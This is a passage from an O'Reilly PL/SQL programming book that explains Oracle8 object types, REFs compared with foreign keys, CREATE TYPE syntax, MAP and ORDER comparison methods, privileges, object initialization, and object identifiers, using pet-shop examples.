   PRAGMA RESTRICT_REFERENCES (full_name, RNDS, WNDS, RNPS, WNPS)
 );

Here is a simple body that implements the full_name method:

CREATE TYPE BODY Person_t
AS
   MEMBER FUNCTION full_name RETURN VARCHAR2
   IS
   BEGIN
      RETURN first_name || ' ' || last_name;
   END;
END;

Finally, we can put a vaccination list and an owner in our "pet" object type:

CREATE OR REPLACE TYPE Pet_t AS OBJECT (
   tag_no INTEGER,            -- pet license number
   name VARCHAR2(60),         -- name of pet
   animal_type VARCHAR2(30),  -- dog, cat, ferret,...
   sex VARCHAR2(1),           -- M/F
   photo BFILE,               -- JPG image in O/S file
   vaccinations Vaccination_list_t,
   owner Person_t,
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER)
      RETURN Pet_t,
   MEMBER FUNCTION set_photo (file_location IN VARCHAR2)
      RETURN Pet_t,
   MEMBER PROCEDURE print_me
);

Although not illustrated here, after making this change, we might want to add new member functions in the type specification and body.

In this example, we are setting ourselves up to use a nested "person" object within the pet object. This is not necessarily a good idea, since the enclosed objects are not sharable by anything else. That is, if one person owned many pets, the information about the owner would have to be copied into each pet object. We're passing up an opportunity to control data redundancy, which is one of the reasons we are using a such a wonderful database system in the first place. Not to worry: we can use the REF keyword to tell Oracle that we want to store only a pointer or reference to another (persistent) object. That is, in our final version:

CREATE OR REPLACE TYPE Pet_t AS OBJECT (
   tag_no INTEGER,
   name VARCHAR2(60),
   animal_type VARCHAR2(30),
   sex VARCHAR2(1),
   photo BFILE,
   vaccinations vaccination_list_t,
   owner_ref REF Person_t,
   MEMBER FUNCTION set_tag_no (new_tag_no IN INTEGER)
      RETURN Pet_t,
   MEMBER FUNCTION set_photo (file_location VARCHAR2)
      RETURN Pet_t,
   MEMBER PROCEDURE print_me,
   MEMBER PROCEDURE vaccinate (vaccination VARCHAR2, on_date DATE),
   PRAGMA RESTRICT_REFERENCES (set_tag_no, RNDS, WNDS, RNPS, WNPS),
   PRAGMA RESTRICT_REFERENCES (set_photo, RNDS, WNDS, RNPS, WNPS)
);

we use REF Person_t to indicate that this attribute will store a pointer to an object rather than to its contents.

And we can build the tables:

CREATE TABLE persons OF Person_t
   (PRIMARY KEY (person_id));

CREATE TABLE pets OF Pet_t
   (PRIMARY KEY (tag_no))
   NESTED TABLE  vaccinations STORE AS pet_vaccinations_tab;

Using this separate persons table and the REF attribute will allow the existence of people outside the context of their pets (something the pet-obsessed may not envision, but probably a good idea from a design point of view). In this context, REF is called a type modifier.

Does a REF sound a lot like a foreign key? While there are important differences between REFs and foreign keys (see Table 18.2), Oracle actually claims that REFs, are "more reliable and persistent" than foreign keys -- probably because REFs do not refer to user-changeable values, but rather to invisible internal values.

In fact, the problem with REFs is that they are too persistent. Oracle currently allows you to delete an object that is the target of a REF without deleting the reference to it. They even dignify this state with a name: a dangling REF. This is roughly equivalent to what would happen if you delete a department record without changing the records of employees in that department. There is no declarative way to prevent dangling REFs, but it should not be too challenging to do so by implementing pre-delete triggers on the table that contains the "parent" objects.[11] To make life somewhat easier, Oracle provides a predicate, IS DANGLING, to test for this condition:

[11] It is also possible to use a foreign key in combination with a REF. To do so, you would include an attribute for the foreign key in the Pet_t specification and include a FOREIGN KEY clause in the CREATE TABLE statement.

UPDATE pets
   SET owner_ref = NULL
 WHERE owner_ref IS DANGLING;

Table 18.2: Chief Differences between Foreign Keys and REFs
Characteristic | Foreign Key | REF
Who defines the value used as the "pointer?" | User (programmer) | System
Requirements on the parent | Must have primary or unique key | Must be an object table or object view
Only allows insertions of child if parent exists (or if the referencing columns are null)? | Yes, when enabled | Yes, since you can only insert a "real" REF
Can be defined in such a way that the child may be associated with one of several possible parents? | No (although foreign keys have a little-known ability to point to all of several possible parents) | Yes; by default, a REF can refer to any row object of the given type
Can declaratively restrict the scope of the child so that it can point to only one given parent table? | No | Yes (by using the SCOPE clause in the CREATE TABLE command)
Restricts updates of the parent key when children exist? | Yes | Yes; object identifiers are not updateable
Can prevent the deletion of parent if children exist? | Yes | No
Can cascade deletions of the parent to child (objects)? | Yes, with ON DELETE CASCADE | No
Default type of relationship between parent and child when joined via SQL | Equi-join | Outer join (when using dot navigation)
Parent and child can be on different databases? | No; must be enforced with table-level triggers | Not in Oracle 8.0.3

NOTE: In Table 18.2, we use the terminology "parent" and "child" only for convenience; these terms are not always accurate descriptions of objects linked via REFs.

Oracle has a special syntax for retrieving and modifying data in both SQL and PL/SQL using the REF operator; they also provide a DEREF operator (can you guess why?). We'll look at those operators a bit later.

Previous: 18.1 Introduction to Oracle8 Objects | Oracle PL/SQL Programming, 2nd Edition | Next: 18.3 Syntax for Creating Object Types
18.1 Introduction to Oracle8 Objects | Book Index | 18.3 Syntax for Creating Object Types
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.3 Syntax for Creating Object Types

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.3 Syntax for Creating Object Types

This section explains the syntax for CREATE TYPE, CREATE TYPE BODY, and some of the other statements you will use when working with Oracle objects.

18.3.1 About Object Types

A given object type can have all of the following:

  • One default constructor method

  • Zero or one comparison methods

  • Any number of member methods

The default constructor, supplied automatically when you create an object type, allows you to create an object of the corresponding type. You have no direct control over this function (aside from how you have defined the attributes of the object type). The constructor is the only type of method that does not operate on an existing object.

Comparison methods are either MAP or ORDER methods (see Section 18.3.6, "Comparing Objects" later in this chapter). They allow you to establish rules so that SQL statements and PL/SQL programs can order, group, and otherwise compare object instances. Comparison methods are always functions.

Member methods are either member functions or member procedures. These are where programmers define the bulk of the object's behavior.

18.3.2 CREATE TYPE and DROP TYPE: Creating and Dropping Types

The CREATE TYPE statement has the following general format:

CREATE [ OR REPLACE ] TYPE <type name> AS OBJECT
   <attribute name> datatype, ...,
   MEMBER PROCEDURE | FUNCTION <procedure or function spec>, ...,
   [ MAP | ORDER MEMBER FUNCTION <comparison function spec>, ... ]
   [ PRAGMA RESTRICT_REFERENCES (<what to restrict>, restrictions) ]
);

As you would expect, you can drop a type using a DROP statement as follows:

DROP TYPE <type name> [ FORCE ] ;

Parameters have the following meanings:

OR REPLACE

Tells Oracle that you want to rebuild the type if it should happen to already exist. This will preserve grants. (See "Schema Evolution" later in the chapter for information about the effect this option has on the object type's metadata.)

type name

A legal Oracle identifier that isn't already in use by any other Oracle database object such as another type, table, or package. May be expressed in "schema dot" notation (e.g., SCOTT.foo).

attribute name

A legal PL/SQL identifier for the attribute.

datatype

Any legal Oracle datatype except LONG, LONG RAW, NCHAR, NCLOB, NVARCHAR2, ROWID, BINARY_INTEGER, BOOLEAN, PLS_INTEGER, RECORD, REF CURSOR, %TYPE, %ROWTYPE, or types that exist only within packages.

comparison function

Defines a function that allows comparison of object values.

what to restrict

This is either the name of the function or procedure, or the keyword DEFAULT. Using DEFAULT tells Oracle that all member functions and procedures in the object type will have the designated restrictions, without having to list each one in its own RESTRICT_REFERENCES pragma.

restrictions

One or more of the following: RNDS, WNDS, RNPS, and WNPS (see Chapter 17).

FORCE++

Tells Oracle that you want to drop a type even if there are other objects with dependencies on it. Even if you use FORCE, you can only drop a type if it has not been implemented in a table; you must first drop the table(s) before dropping the type.

Notice that the syntax for creating the specification is merely a comma-separated list of attributes and methods. There are no semicolons as you would find in a package specification.

You cannot impose NOT NULL or DEFAULT constraints at the attribute level. These constraints can, however, be applied to scalar attributes if you create an object table based on type. The syntax is:

CREATE TABLE <table name> OF <object type name>
   (<column constraint>, ... );

For example:

CREATE TABLE foos OF Foo_t
   (bar NOT NULL);

or, if you wish to name a constraint:

CREATE TABLE foos OF Foo_t
   (CONSTRAINT bar_not_null CHECK (bar IS NOT NULL));

18.3.3 CREATE TYPE BODY: Creating a Body

The syntax for the CREATE TYPE BODY statement is the following:

CREATE [ OR REPLACE ] TYPE BODY <type name> AS | IS (
   MEMBER PROCEDURE | FUNCTION <procedure or function body>, ...,
   [ MAP | ORDER MEMBER FUNCTION <comparison function body> ]
END;

Strictly speaking, type bodies are optional; you need a body only if you have created any methods in the specification. Similar to the rules for package specifications and bodies, the methods declared in the specification must match one for one the methods implemented in the body. Methods can be overloaded (see Chapter 15), and the standard rules about overloading apply.

18.3.4 Dot Notation

Even if you don't use the object extensions to Oracle, dot notation can be confusing. In SQL, for example, you may have references such as basil.meals.calories, referring to a column called calories in a meals table owned by basil. Add in remote database references, and you might get something like basil.meals.calories@mktg.ny.acme.com. In PL/SQL Version 2 and up, dots are found in record datatypes, table datatype operators, packaged procedure or function references, and elsewhere.

In the objects option, there are at least two new opportunities to get confused with dots: object data structures and object methods. (And the discussion below ignores the fact that object names can be preceded by the schema name, as in schema_name.object_name.)

18.3.4.1 Dots in data structures

In a PL/SQL program, you can refer to object attributes with dot notation, as in object_name.attribute_name. For example, after declaring and initializing an object my_pet of type Pet_t, we can do this:

IF my_pet.sex = 'M' THEN...

This variable means "the sex attribute of the object instance my_pet."

Referring to nested objects in PL/SQL using dot notation is almost intuitive, as long as you're using embedded objects (that is, the attribute is an object itself, not a REF to an object).

CREATE OBJECT Pet_t (
   ...
   owner Person_t,     -- embedded object, not a REF
   ...);

DECLARE
   the_dalmatian Pet_t;
BEGIN
   ...
   IF the_dalmatian.owner.first_name = 'Persephone'
   THEN...

The IF test above simply checks whether the first name of the owner of the Dalmatian is Persephone. In SQL statements, you can also use dots to navigate the components of nested objects. Even when you have nested objects with REFs, SQL graciously allows you to navigate to the referenced object without actually doing a join:

CREATE OBJECT Pet_t (
   ...
   owner_ref REF Person_t,
   ...);

CREATE TABLE pets of Pet_t;

SELECT name, p.owner_ref.first_name
  FROM pets p;

That's a pretty neat trick. No ugly join clause, just an intuitive "do the right thing" call. It works for attributes and member functions that are defined with the appropriate RESTRICT_REFERENCES pragma. But what do we do in PL/SQL? Is this legal?

DECLARE
   the_dalmatian Pet_t;
BEGIN
   SELECT VALUE(p) INTO the_dalmatian
     FROM pets p
    WHERE name = 'Cerberus';...
   IF the_dalmatian.owner_ref.first_name = 'Persephone'   -- invalid
   THEN...

It won't work! In Oracle 8.0.3, you cannot navigate the database through PL/SQL REF variables. Repeat this to yourself like a mantra. Dot notation doesn't help us in this case. For now, you can instead use DEREF, described in detail later on; a future version of Oracle will likely include a built-in package called UTL_REF that supports navigation in PL/SQL.

18.3.4.2 Dots in method invocations

When you invoke an object's member function or procedure, the dot syntax is straightforward, as in the following:

object_instance_name.function_name (args)
object_instance_name.procedure_name (args)

If you want to use the output from one method as the input to another, you don't have to use a temporary variable. You can actually chain methods together with dots, as long as they are type compatible:

object_name.function_name(args).function_name(args).procedure_name(args)

Before we can take a look at an example that chains our Pet_t methods, we'll want to change the specification of print_me. Instead of using the default IN OUT mode of the SELF parameter in a member procedure, we are going to make it an IN. That is, instead of:

MEMBER PROCEDURE print_me

we want to use:

MEMBER PROCEDURE print_me (SELF IN Pet_t)

(Remember that we have to make this change in both the object type specification and the object type body.)

Why did we make the change? The default IN OUT mode can only accept a SELF parameter that is writeable, and function return values are never writeable. But as an IN-only parameter, SELF can now accept a Pet_t object that is returned from one of the other functions.

DECLARE
   the_pet Pet_t := Pet_t(1949,'Godzilla','BIG MONKEY','M',
      NULL,NULL,NULL);
BEGIN
   the_pet.set_tag_no(1948).set_photo('gz105.jpg').print_me();
END;

This means "change the tag number of the pet variable to 1948, change its photo to gz105.jpg, and print the result." If you give a little thought to the implications of this convenience feature, you'll realize that it could be valuable to define member functions which return the base object type, so that you can chain them together later.

Here are some rules about chaining:

  • Methods are invoked in order from left to right.

  • The return value of a chained method must be of the object type expected by the method to its right.

  • A chained call can include at most a single procedure.

  • If your chained call includes a procedure, it must be the right-most method in the chain.

  • Be sure that you don't try to use a function's return value (which is read-only) as an IN OUT input to the next method in the chain.

18.3.4.3 Attribute or method?

In PL/SQL, there is no automatic visual distinction between an object attribute and an object method unless the method has arguments. That is, in this code fragment:

IF my_pet.whatever = 'a value' THEN...

we can't immediately determine if "whatever" is an attribute or a method! In some cases, this ambiguity could be a feature, since one day we might want to replace an attribute by a method of the same name.

If we want to make our code less mysterious, we can add a trailing empty parameter list to method calls which have no parameters, as in the following:

my_pet.print_me();

The empty parentheses notation works for both member functions and member procedures.

NOTE: The situation is different in SQL statements. If you call a member function without parameters in a SQL statement, you must use empty parentheses notation. That is, if somefun is a function, don't do this:

SELECT p.somefun FROM pets p;  -- invalid

The statement above fails with an ORA-00904, "invalid column name." The correct syntax is:

SELECT p.somefun() FROM pets p;

18.3.5 SELF: The Implied Parameter

Because a method can only be called within the context of a particular object instance, it always has an object of the corresponding type as a "parameter." This makes sense because the method will (almost) always need access to that object's attributes. This implied parameter is called SELF. By default, SELF is an IN parameter in member functions, and an IN OUT parameter in member procedures.

If we create an object to hold American Kennel Club papers:

CREATE TYPE Akc_paper_t AS OBJECT(
   pet_ref REF Pet_t,
   issued_on DATE,
   contents BLOB);

the following member function specifications are equivalent:

MEMBER FUNCTION print_me RETURN BOOLEAN;
MEMBER FUNCTION print_me (SELF Akc_paper_t) RETURN BOOLEAN;
MEMBER FUNCTION print_me (SELF IN Akc_paper_t) RETURN BOOLEAN;

Similarly, member procedure SELF parameters default to IN OUT, so the following are equivalent to one another:

MEMBER PROCEDURE reissue;
MEMBER PROCEDURE reissue (SELF Akc_paper_t);
MEMBER PROCEDURE reissue (SELF IN OUT Akc_paper_t);

Within the object type body, you can refer to the SELF object explicitly; if you do not, PL/SQL name resolution rules will attempt to "do the right thing" with attribute references. In the example below, the name and issued_on attributes will resolve to attribute values even without the SELF parameter:

CREATE TYPE BODY Akc_paper_t
AS
   MEMBER FUNCTION print_me RETURN BOOLEAN
   IS
   BEGIN
      DBMS_OUTPUT.PUT_LINE('Name     : ' || name);
      DBMS_OUTPUT.PUT_LINE('Issued On: ' || issued_on);
      ...
   END;
END;

The PUT_LINE statements above are equivalent to:

      DBMS_OUTPUT.PUT_LINE('Name     : ' || SELF.name);
      DBMS_OUTPUT.PUT_LINE('Issued On: ' || SELF.issued_on);

NOTE: Including SELF explicitly can improve program clarity.

18.3.5.1 Forward type definitions

What would you do if you wanted to define object types that depend on each other? Suppose that we want to implement the following relationships:

  • Each pet has an owner of type Person_t; owners can have one or more pets.

  • A person can have one and only one favorite pet.

The solution is a forward type definition, similar to forward declarations in PL/SQL packages (see Chapter 16). A forward definition allows you to declare your intention to create a type before you actually define it:

/* Here is the incomplete type definition */
CREATE TYPE Person_t;

/* Now owner_ref can make a "forward" reference to the
|| Person_t type
*/
CREATE TYPE Pet_t AS OBJECT (
   tag_no INTEGER,
   owner_ref REF Person_t,
   ...the rest of the attributes and methods...
);
/* Now we can complete the type definition we started
|| earlier.
*/
CREATE TYPE Person_t AS OBJECT (
   name VARCHAR2(512),
   favorite_pet REF Pet_t,
   ...
);

If you want to create a recursive type, that is, one which refers to itself, a forward type definition is not required. For example, the Relative Pets organizational hierarchy might be implemented with recursion:

CREATE TYPE organization_unit_t AS OBJECT (
   id NUMBER,
   parent REF organization_unit_t
      -- works fine without forward type def
);

18.3.6 Comparing Objects

In the "old days," when Oracle offered only scalar datatypes, the semantics for comparing values were clearly defined. For example, columns of type NUMBER are easily compared, ordered, and grouped. Ditto for dates, and even character types, despite differences in national language sorting conventions. NULLs have always given us some grief, but we can't argue that the rules about them were vague. Things got a little more interesting in PL/SQL programs, because there we can have complex data structures such as records and table datatypes, which offer very few comparison features within the language.

Now, if we are taking an object-oriented approach, it would be useful if Oracle allowed statements such as the following:

IF my_pet > your_pet THEN ... -- my_pet and your_pet are objects

SELECT ... FROM pets ORDER BY owner;   -- owner is an object column

But it is not at all obvious how Oracle would deal with statements like these. Should it do some sort of "munching" average on the objects' attributes, or what?

In fact, Oracle allows us to formulate our own comparison rules for the object types we create. By defining a special MAP or ORDER member function when we define an object type, we can tell Oracle how to compare objects of that type in both PL/SQL and SQL expressions.

18.3.6.1 The MAP and ORDER methods

Let's say that we have created an object type Appointment_t that will help us in scheduling visits to the veterinary offices of Relative Pets. We might need an application to compare appointments:

DECLARE
   my_appointment Appointment_t;
   your_appointment Appointment_t;
BEGIN
   ...initialize the appointments...

   IF my_appointment > your_appointment THEN ...

To perform this greater-than comparison, you'll need to define either a MAP or an ORDER function. MAP and ORDER methods are mutually exclusive; a given object type may have exactly one MAP method, or exactly one ORDER method (or zero comparison methods of either type).

18.3.6.1.1 MAP member functions

The MAP method simply translates or "maps" each object into a scalar datatype space that Oracle knows how to compare. For example, suppose we had a simple rule that says appointments are "greater than" others if they occur later in time. Then the MAP method is trivial:

CREATE TYPE Appointment_t AS OBJECT (
   pet REF Pet_t,
   scheduled_date DATE,
   with_whom REF Doctor_t,
   MAP MEMBER FUNCTION compare RETURN DATE
);

CREATE TYPE BODY Appointment_t
AS
   MAP MEMBER FUNCTION compare RETURN DATE
   IS
   BEGIN
      RETURN scheduled_date;
   END compare;
END;

MAP functions accept no parameters and must return a date, character, or number -- that is, something that SQL and PL/SQL already know how to compare.

18.3.6.1.2 ORDER member functions

The alternative to MAP is an ORDER member function, which accepts two objects: SELF and another object of the same type. You must program the ORDER member function to return an INTEGER that is one of the values -1, 0, or 1, indicating the ordering relationship of the second object to SELF. That is, if you want:

  • SELF < second object, return -1

  • SELF = second object, return 0

  • SELF > second object, return +1

  • Undefined comparison, return NULL.

Let's look at an example of this type of function:

CREATE TYPE Location_t AS OBJECT (
   latitude REAL,
   longitude REAL,
   altitude REAL,
   ORDER MEMBER FUNCTION compare (the_location IN Location_t)
      RETURN INTEGER
);

CREATE TYPE BODY Location_t
AS
   ORDER MEMBER FUNCTION compare (the_location IN Location_t)
      RETURN INTEGER
   IS
   -- A very lame attempt at comparing geographic locations
   BEGIN
      IF the_location.latitude = SELF.latitude
         AND the_location.longitude = SELF.longitude
         AND the_location.altitude = SELF.altitude THEN
            RETURN 0;
      ELSIF SELF.latitude > the_location.latitude
         OR SELF.longitude > the_location.longitude
         OR SELF.altitude > the_location.altitude THEN
            RETURN 1;
      ELSE
         RETURN -1;
      END IF;
   END;
END;

This ORDER member function will allow us to make simple comparisons such as:

IF location1 > location2 THEN
   plant_a_flag;
END IF:

Although not recommended, your ORDER method can return NULL under certain situations, and the object comparison itself will evaluate to NULL. That is, if our object type body were rewritten as follows:

CREATE TYPE BODY Location_t
AS
   ORDER MEMBER FUNCTION compare (the_location IN Location_t)
      RETURN INTEGER
   IS
   -- An even more lame attempt at comparing geographic locations
   BEGIN
      IF the_location.latitude = SELF.latitude
         AND the_location.longitude = SELF.longitude
         AND the_location.altitude = SELF.altitude THEN
            RETURN 0;
      ELSE
         RETURN NULL;
      END IF;
   END;
END;

Then, if attributes of two locations are equal, the expression (location1 = location2) will evaluate to TRUE; but if any of the attributes differ, then you can detect the condition using the IS NULL operator. Using the second version of the Location_t body, the expression below will always be true!

IF (location1 < location2) IS NULL THEN...

Suffice it to say that returning NULL from a comparison function is not particularly helpful.

There is nothing magic about the name you give the MAP and ORDER functions. In fact, other than in the type definition statements, you may never refer to this name. An added bonus of using MAP or ORDER functions is that they enable you to do things like ORDER BY and GROUP BY the object in SQL statements.

Which should you use -- MAP or ORDER? To some extent, it's a matter of what makes sense to your application, but keep in mind the following restrictions and qualifications:

  • A MAP method is more efficient than the equivalent ORDER method.

  • If you plan to perform hash joins on the object in SQL, you must use MAP, because this type of join requires a value to hash.

  • A MAP method is particularly appropriate if you are sequencing a large series of objects, while an ORDER method is more useful if you are comparing two objects.

18.3.6.2 Equality comparisons

If you don't create a MAP or ORDER method, Oracle allows you to test only for equality of two different objects. Two Oracle objects are "equal" if and only if they (1) are of the same object type; and (2) both have attributes with identical values. Object attributes get compared one at a time, in order, and the testing stops when the first mismatch is discovered.

Here is an example of testing for equality:

DECLARE
   the_1997_spec Marketing_spec_t;
   the_1998_spec Marketing_spec_t;
BEGIN
   ...
   IF the_1997_spec = the_1998_spec THEN ...

Or, if we had one table of marketing specs per year:

CREATE TABLE marketing_1997 OF Marketing_spec_t;
CREATE TABLE marketing_1998 OF Marketing_spec_t;

then we could compare from within SQL by using the VALUE operator:

SELECT s97.make, s97.model
 FROM marketing_1997 s97,
      marketing_1998 s98
WHERE VALUE(s97) = VALUE(s98);

NOTE: Default equality comparisons work only if the object table contains attributes that Oracle knows how to compare. For example, they will work on objects with scalar attributes, but they will not work on objects with collection attributes, embedded object types, REFs, or LOBs. Also, if you create a MAP or ORDER member function, you override Oracle's ability to perform the default equality test by comparing all the attributes.

18.3.7 Privileges

While there are two categories of users to whom object privileges may be granted, programmers and end users, there is only one Oracle privilege that applies to object types: EXECUTE. Let's look at how this privilege applies to DDL (typically for programmers) and DML (typically for end users).

18.3.7.1 DDL

Let's say that you are the Oracle user named SCOTT and you have created an object type Pet_t. You want to grant JOE permission to use this type in his own PL/SQL programs or tables. All you need to do is grant the EXECUTE privilege to him:

GRANT EXECUTE on Pet_t TO JOE;

Joe can then refer to the type using schema.type notation:

CREATE TABLE my_pets OF SCOTT.PET_T;

DECLARE
  the_pet SCOTT.PET_T;

EXECUTE privileges are also required by users who simply need to run PL/SQL anonymous blocks that use the object type.

18.3.7.2 DML

For object tables, the traditional SELECT, INSERT, UDPATE, and DELETE privileges still have meaning. A user with SELECT on the object table may only retrieve the relational columns and not the object-as-object. That is, he cannot use the VALUE operator. Similarly, the other three privileges, INSERT, UPDATE, and DELETE, apply only to the relational interpretation of the table.

In the same fashion, the grantee does not have permission to use the constructor or other object methods unless the object type owner has granted the user EXECUTE privilege on the object type.

18.3.7.3 Rights model

Suppose that the owner of a package grants me EXECUTE privileges on it in Oracle7. Whenever I execute the package, I am actually using the owner's privileges on tables, views, and the like. I need no privileges on the underlying structures. This definer rights model can be very useful in encapsulating the table data and protecting it from change except through the package.

As mentioned earlier in the chapter (see the Sidebar called "Encapsulation of Persistent Objects in Oracle"), the owner rights model may have a negative impact on object reuse, and it's conceivable that an object-relational database like Oracle could implement an invoker rights model for object methods. As with all new technology, we will simply have to wait and see whether such a change comes about, and if it does, what sort of impact it will have on existing applications.

Previous: 18.2 Oracle Objects Example | Oracle PL/SQL Programming, 2nd Edition | Next: 18.4 Manipulating Objects in PL/SQL and SQL
18.2 Oracle Objects Example | Book Index | 18.4 Manipulating Objects in PL/SQL and SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 18] 18.4 Manipulating Objects in PL/SQL and SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

18.4 Manipulating Objects in PL/SQL and SQL

In this section we look more deeply into the constructs and concepts you will need in order to master to use objects in your applications. There are three different ways you can initialize an object:

  • Use the default constructor

  • Make a direct assignment

  • SELECT INTO or FETCH INTO

In addition, after an object is initialized, it can be stored in the database, and you can then locate and use that object using several new language constructs:

  • REF

  • VALUE

  • DEREF

18.4.1 The Need to Initialize

The designers of the PL/SQL language have established a general convention that uninitialized variables are null.[12] Object variables are no exception; the term for this uninitialized object condition is "atomically null." Not only is the object null, but so are its individual attributes. To illustrate, let's take a trip back to the pet shop.

[12] One significant exception is the Version 2 table datatype, known as index-by tables in Version 3, which are non-null but empty when first declared. In PL/SQL8, uninitialized nested tables and uninitialized VARRAYs are, in fact, null

Since all pets need a home, we might want to create an address object type:

CREATE TYPE Address_t AS OBJECT(
   street VARCHAR2(40),
   city VARCHAR2(20),
   state VARCHAR2(10),
   country VARCHAR2(3)
);

In the example below, notice that the object itself is null, as well as the object's attributes:

DECLARE
   cerberus_house Address_t;  -- cerberus_house is not initialized here
BEGIN
   IF cerberus_house IS NULL ...       -- will evaluate to TRUE
   IF cerberus_house.street IS NULL... -- also TRUE

The nullity of the elements in PL/SQL follows somewhat unpredictable rules; uninitialized RECORD variables have null elements (as with objects), but uninitialized collections have elements whose nullity is not defined. As with collections, when an object is null, you cannot simply assign values to its attributes; if you do, PL/SQL will raise an exception. Before assigning values to the attributes, you must initialize the entire object.

Let's turn now to the three different ways a PL/SQL program can initialize an object.

18.4.1.1 Constructors

A constructor is a special method that allows the creation of an object from an object type. Invoking a constructor is a way to instantiate (create) an object. In Oracle 8.0, each object has a single default constructor that the programmer cannot alter or supplement.

The default constructor:

  • Has the same name as the object type

  • Is a function rather than a procedure

  • Accepts attributes in named or positional notation

  • Returns an object

  • Must be called with a value, or the non-value NULL, for every attribute; there is no DEFAULT clause for object attributes

Notice how the name of the constructor matches the name of the object type, which may look odd at first glance (unless you're already an object-oriented programmer). The following declaration assigns an initial value to the cerberus_house object:

DECLARE
   cerberus_house Address_t := Address_t('123 Main', 'AnyTown', 'TX', 'USA');

18.4.1.2 Direct assignment

When assigning one object to another, you create a new object that starts life as a copy of the original. In the following example, minotaurs_labyrinth gets initialized using direct assignment.

DECLARE
   cerberus_house Address_t := Address_t('123 Main', 'AnyTown', 'TX', 'USA');
   minotaurs_labyrinth Address_t;
BEGIN
   minotaurs_labyrinth := cerberus_house;
END;

The attributes of the two addresses start out identical, but subsequent modifications to one do not automatically apply to the other.

18.4.1.3 Assignment via FETCH (with SELECT)

Assuming that there is a "houses" table of Address_t objects, we can use a SELECT statement to retrieve from the database into a PL/SQL object. PL/SQL provides the VALUE keyword (described below) to retrieve the contents of the entire object:

DECLARE
   troubles_house Address_t;
   CURSOR h_cur IS
      SELECT VALUE(h)
        FROM houses h
       WHERE resident_cat = 'TROUBLE';
BEGIN
   OPEN h_cur;
   FETCH h_cur INTO troubles_house;

...

18.4.1.4 ACCESS_INTO_NULL exception

If your program attempts to assign a value to an attribute of an uninitialized object, PL/SQL will raise the predefined exception ACCESS_INTO_NULL:

DECLARE
   our_house Address_t;              -- not initialized
BEGIN
   our_house.street := '123 Main';   -- raises ACCESS_INTO_NULL
END;

While seeming quite reasonable, this kind of an assignment will clearly not achieve the desired result. It bears repeating: always initialize your objects!

18.4.2 OID, VALUE, REF, and DEREF

The Oracle objects option provides an initially bewildering set of constructs for locating and referring to persistent objects. Getting to know them may take some time, but understanding them will be essential to "doing objects right." Table 18.3 summarizes these schemes and the following sections look at them in more detail.

Table 18.3: Schemes for Referring to Persistent Objects
Scheme | Description | Applications
Object identifier (OID) | An opaque, globally unique handle, produced when the object is stored in the database as a table (row) object. | This is the persistent object's handle; it's what REFs point to. Your program never uses it directly.
VALUE | An operator. In SQL it acts on an object in an object table and returns the object's "contents." Do not confuse this keyword with the VALUES keyword that appears in the INSERT statement. | Used when fetching a table (row) object into a variable, or when you need to refer to an object table as an object instead of a list of columns.
REF | A pointer to an object. May be used within a SQL statement as an operator, or in a declaration as a type modifier. | Allows quasi-"normalizing" of object-relational databases and "joining" of object tables using "dot navigation." In PL/SQL, REFs serve as input/output variables.
DEREF | Reverse pointer lookup for REFs. | Helpful for retrieving the contents of an object when all you know is its REF.

18.4.2.1 Object identifiers (OIDs)

Have you ever used an arbitrary number (maybe an Oracle sequence) as a table's primary key? The benefits are many -- chief among them that you can often hide it from the users and never have to worry about them wanting to change the key value! Object identifiers are a lot like your arbitrary numbers, except that they are assigned by Oracle. When you create a table of objects, Oracle adds a hidden field that will hold the object identifier for each object. Oracle also automatically creates a unique index on this column. When you insert an object into the table, Oracle automatically assigns the object a rather large but hidden object identifier (OID). The OID is:

  • Opaque. Although your programs can indirectly use the OID, you don't typically see its value.

  • Potentially globally unique across databases. The OID space makes provisions for up to 2128 objects (definitely "many" by the reckoning of the Hottentots).[13]

    [13] Oracle could one day use an OS-dependent function to make OIDs globally unique; that way, no two OIDs could have the same value, even on different machines that are configured identically. Perhaps object navigation will be possible without database links. (In case you're wondering, the Hottentots had a four-valued counting system: 1, 2, 3, and "many.")

  • Capable of being synthesized from a primary key so that objects can be retrofitted onto relational schema using object views.

  • Preserved after export/import by the owner, unlike ROWIDs. This could allow objects to be distributable across databases in the future (contrast with ROWIDs, which are tied to a particular database)..

In addition, unless you are using primary key-based OIDs in object views, OIDs are immutable. That is, even if you want to change the binary value of an OID, you can't do it unless you delete and recreate the object, at which point Oracle will assign a new OID.

Not all objects have an object identifier. In particular, objects stored in PL/SQL variables lack a referenceable OID, as do column objects. A column object only "makes sense" within the context of its row, and the row will have other means of unique identification. Implementors must sometimes choose between embedding an object and making it referenceable.[14]

[14] This approach is 180 degrees off from relational industry experts who assert that OIDs should not be used for row identification, and that only column objects should have OIDs. See Hugh Darwen and C. J. Date, "The Third Manifesto," SIGMOD Record, Volume 24 Number 1, March 1995.

Hidden Columns Exposed

The name of the column where Oracle8.0.3 stores object identifiers is SYS_NC_OID$. This column is "hidden" in that you won't see it when you "describe" the table in SQL*Plus, but it exists for every object instance (row) in an object table. It contains a 16-byte binary value; although this value is selectable from SQL*Plus, it should never be stored or manipulated in your programs. Oracle has hidden the OID to prevent hardcoding memory addresses into programs -- a dangerous practice in any environment. Moreover, the OID structure could change in future Oracle versions.

There's another hidden column, SYS_NC_ROWINFO$, which provides a representation of the constructor for the row object. The same caution applies -- it's interesting to look at, but do not rely on it in any applications.

Just to get an idea of what these columns look like, let's say we had a type foo_t which includes two attributes: a number and a collection of type bar_t:

CREATE TYPE bar_t AS VARRAY(5) OF VARCHAR2(10)
/
CREATE TYPE foo_t AS OBJECT (
   id NUMBER,
   bars bar_t)
/
CREATE TABLE foos OF foo_t;

INSERT INTO foos VALUES (1, bar_t('apple','banana','cherry'));

SELECT SYS_NC_OID$ FROM foos;

SYS_NC_OID$
